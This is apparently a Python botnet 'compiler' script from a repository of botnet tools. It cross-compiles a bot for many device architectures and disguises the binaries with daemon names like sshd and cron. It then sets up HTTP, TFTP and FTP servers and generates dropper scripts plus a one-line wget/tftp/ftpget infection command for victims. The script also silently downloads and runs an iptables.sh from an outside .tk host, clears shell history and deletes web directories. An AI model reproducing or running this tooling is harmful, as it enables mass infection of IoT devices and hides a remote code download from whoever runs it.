Path: blob/master/Botnets/BOT COMPILERS/tsuma-private.txt
5038 views
# 妻 Tsuma Compiler known as tsuma.py1# The art of compiling2# Made by Satoshi Nakamoto3# The compiler comes with a range bruter, just if you want to4# crack up on ASNs.56import subprocess, sys78if len(sys.argv[2]) != 0:9ip = sys.argv[2]10else:11print("\x1b[0;31mIncorrect Usage!")12print("\x1b[0;32mUsage: python " + sys.argv[0] + " <BOTNAME.C> <IPADDR> \x1b[0m")13exit(1)1415bot = sys.argv[1]1617yourafag = raw_input("Want me to fetch you cross-compilers? Y/N?")18if yourafag.lower() == "y":19get_arch = True20else:21get_arch = False2223compileas = ["ntpd", #mips24"sshd", #mipsel25"openssh", #sh426"bash", #x8627"tftp", #Armv6l28"wget", #i68629"cron", #ppc30"ftp", #i58631"pftp", #m68k32"sh",33"' '",34"apache2",35"telnetd"]3637getarch = ['http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2',38'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2',39'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2',40'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2',41'http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2',42'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2',43'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2',44'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2',45'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2',46'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2',47'https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2',48'https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2',49'https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc-440fp.tar.bz2']5051ccs = ["cross-compiler-mips",52"cross-compiler-mipsel",53"cross-compiler-sh4",54"cross-compiler-x86_64",55"cross-compiler-armv6l",56"cross-compiler-i686",57"cross-compiler-powerpc",58"cross-compiler-i586",59"cross-compiler-m68k",60"cross-compiler-sparc",61"cross-compiler-armv4l",62"cross-compiler-armv5l",63"cross-compiler-powerpc-440fp"]6465def run(cmd):66subprocess.call(cmd, shell=True)6768run("rm -rf /var/www/html/* /var/lib/tftpboot/* /var/ftp/*")6970if get_arch == True:71run("rm -rf cross-compiler-*")7273print("Downloading Architectures")74print("Turning off IPTables")75printf("Downloading Tsuma Bruter")76for arch in getarch:77run("wget " + arch + " --no-check-certificate >> /dev/null")78run("tar -xvf *tar.bz2")79run("rm -rf *tar.bz2")80run("wget http://clevelandbrown.tk/tsuma.c; clear; history -c")81run("cd /tmp; wget http://clevelandbrown.tk/iptables.sh -O iptables.sh; sh iptables.sh; rm -fr *; clear; history -c")8283print("Cross Compilers Downloaded...")8485num = 086for cc in ccs:87arch = cc.split("-")[2]88run("./"+cc+"/bin/"+arch+"-gcc -static -pthread -D" + arch.upper() + " -o " + compileas[num] + " " + bot + " > /dev/null")89num += 19091print("Cross Compiling Done!")92print("Setting up your httpd and tftp")9394run("yum install httpd -y")95run("service httpd start")96run("yum install xinetd tftp tftp-server -y")97run("yum install vsftpd -y")98run("service vsftpd start")99100run('''echo -e "# default: off101# description: The tftp server serves files using the trivial file transfer \102# protocol. The tftp protocol is often used to boot diskless \103# workstations, download configuration files to network-aware printers, \104# and to start the installation process for some operating systems.105service tftp106{107socket_type = dgram108protocol = udp109wait = yes110user = root111server = /usr/sbin/in.tftpd112server_args = -s -c /var/lib/tftpboot113disable = no114per_source = 11115cps = 100 2116flags = IPv4117}118" > /etc/xinetd.d/tftp''')119run("service xinetd start")120121run('''echo -e "listen=YES122local_enable=NO123anonymous_enable=YES124write_enable=NO125anon_root=/var/ftp126anon_max_rate=2048000127xferlog_enable=YES128listen_address='''+ ip +'''129listen_port=21" > /etc/vsftpd/vsftpd-anon.conf''')130run("service vsftpd restart")131132for i in compileas:133run("cp " + i + " /var/www/html")134run("cp " + i + " /var/ftp")135run("mv " + i + " /var/lib/tftpboot")136137run('echo -e "#!/bin/bash" > /var/lib/tftpboot/tftp1.sh')138139run('echo -e "ulimit -n 1024" >> /var/lib/tftpboot/tftp1.sh')140141run('echo -e "cp /bin/busybox /tmp/" >> /var/lib/tftpboot/tftp1.sh')142143run('echo -e "#!/bin/bash" > /var/lib/tftpboot/tftp2.sh')144145run('echo -e "ulimit -n 1024" >> /var/lib/tftpboot/tftp2.sh')146147run('echo -e "cp /bin/busybox /tmp/" >> /var/lib/tftpboot/tftp2.sh')148149run('echo -e "#!/bin/bash" > /var/www/html/bins.sh')150151for i in compileas:152run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://' + ip + '/' + i + '; chmod +x ' + i + '; ./' + i + '; rm -rf ' + i + '" >> /var/www/html/bins.sh')153run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; ftpget -v -u anonymous -p anonymous -P 21 ' + ip + ' ' + i + ' ' + i + '; chmod 777 ' + i + ' ./' + i + '; rm -rf ' + i + '" >> /var/ftp/ftp1.sh')154run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; tftp ' + ip + ' -c get ' + i + ';cat ' + i + ' >badbox;chmod +x *;./badbox" >> /var/lib/tftpboot/tftp1.sh')155run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; tftp -r ' + i + ' -g ' + ip + ';cat ' + i + ' >badbox;chmod +x *;./badbox" >> /var/lib/tftpboot/tftp2.sh')156157run("service xinetd restart")158run("service httpd restart")159run('echo -e "ulimit -n 99999" >> ~/.bashrc')160161print("\x1b[0;32mSuccessfully cross compiled!\x1b[0m")162print("\x1b[0;32mYour link: cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://" + ip + "/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp " + ip + " -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g " + ip + "; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 " + ip + " ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\x1b[0m")163164print("\x1b[0;32mCoded By Satoshi Nakamoto\x1b[0m")165166